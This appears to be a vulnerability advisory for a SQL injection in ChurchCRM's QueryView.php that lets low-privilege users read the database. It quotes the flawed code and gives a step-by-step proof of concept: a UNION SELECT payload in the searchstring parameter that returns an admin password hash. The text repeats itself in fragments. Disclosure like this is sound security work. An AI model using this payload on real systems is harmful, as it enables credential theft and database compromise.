Summary
A critical SQL Injection vulnerability exists in QueryView.php, part of the reporting functionality available under Data/Reports → Query Menu.
The vulnerability allows any authenticated low-privilege user, even one with all permissions disabled, to inject arbitrary SQL into stored query templates through the searchstring POST parameter.
This results in full database compromise, including extraction of administrator credentials.
Details
The vulnerable logic is located in src/QueryView.php.
When a stored query (e.g., Advanced Search, QueryID=15) is executed, user-supplied input is substituted directly into the SQL template via placeholder replacement.
Unsanitized POST assignment (lines 121–122):
default:
$vPOST[$qrp_Alias] = $_POST[$qrp_Alias]; // ← fully unsanitized input
break;
Raw, unsafe SQL substitution (lines 147–148):
$qrp_Value = is_array($vPOST[$qrp_Alias]) ? implode(',', $vPOST[$qrp_Alias]) : $vPOST[$qrp_Alias];
$qry_SQL = str_replace('~' . $qrp_Alias . '~', $qrp_Value, $qry_SQL);
No sanitization, escaping, or parameter binding is performed.
As a result, parameterized queries in Advanced Search become fully injectable using UNION-based SQL injection.
The default stored query identified as QueryID 15 is vulnerable and available to all low-privilege users.
Proof of Concept (PoC)
Prerequisites
Any authenticated user (permissions do not matter).
Example profile used during testing:
Admin: No
Add Records: No
Edit Records: No
Delete Records: No
Manage Groups: No
Manage Finance: No
Manage Notes: No
Step-by-Step Exploitation Flow
- Log in as a low-privilege user.
- Navigate via the sidebar:
Data/Reports → Query Menu
- Select Advanced Search.
You are redirected to:
/QueryView.php?QueryID=15
- Enter any value (e.g.,
test), choose any field (e.g., Zip Code), then click Execute Query.
- Intercept the POST request in Burp Suite.
The body looks like:
searchstring=test&searchwhat=fam_Zip&Submit=Execute+Query
- Replace the
searchstring parameter with a UNION SQL injection payload:
searchstring=' UNION SELECT usr_UserName, usr_Password, usr_per_ID, NULL, NULL, NULL, NULL, NULL FROM user_usr WHERE usr_per_ID=1 --
- Forward the request.
Result
The server responds with database rows containing administrator credentials:
Admin
$2y$12$e3o8rmvWUYdgzUNB/AAMK.pRvT9rwsIZx4wYB0brOmVPB1UL.HA5S
1
The bcrypt hash can be cracked offline.

SQLMap confirms the injection point as a UNION-based SQLi in a custom POST parameter.

Impact
This vulnerability allows full compromise of the ChurchCRM database by a minimally privileged user.
Attackers can:
- Extract all user accounts and password hashes
- Access, modify, or delete sensitive personal and financial records
- Escalate privileges by cracking admin passwords
- Fully compromise the ChurchCRM instance
Attribution
Reported by: Łukasz Rybak
Summary
A critical SQL Injection vulnerability exists in
QueryView.php, part of the reporting functionality available under Data/Reports → Query Menu.The vulnerability allows any authenticated low-privilege user, even one with all permissions disabled, to inject arbitrary SQL into stored query templates through the
searchstringPOST parameter.This results in full database compromise, including extraction of administrator credentials.
Details
The vulnerable logic is located in
src/QueryView.php.When a stored query (e.g., Advanced Search, QueryID=15) is executed, user-supplied input is substituted directly into the SQL template via placeholder replacement.
Unsanitized POST assignment (lines 121–122):
default: $vPOST[$qrp_Alias] = $_POST[$qrp_Alias]; // ← fully unsanitized input break;Raw, unsafe SQL substitution (lines 147–148):
No sanitization, escaping, or parameter binding is performed.
As a result, parameterized queries in Advanced Search become fully injectable using UNION-based SQL injection.
The default stored query identified as QueryID 15 is vulnerable and available to all low-privilege users.
Proof of Concept (PoC)
Prerequisites
Any authenticated user (permissions do not matter).
Example profile used during testing:
Step-by-Step Exploitation Flow
You are redirected to:
test), choose any field (e.g., Zip Code), then click Execute Query.The body looks like:
searchstringparameter with a UNION SQL injection payload:Result
The server responds with database rows containing administrator credentials:
The bcrypt hash can be cracked offline.

SQLMap confirms the injection point as a UNION-based SQLi in a custom POST parameter.

Impact
This vulnerability allows full compromise of the ChurchCRM database by a minimally privileged user.
Attackers can:
Attribution
Reported by: Łukasz Rybak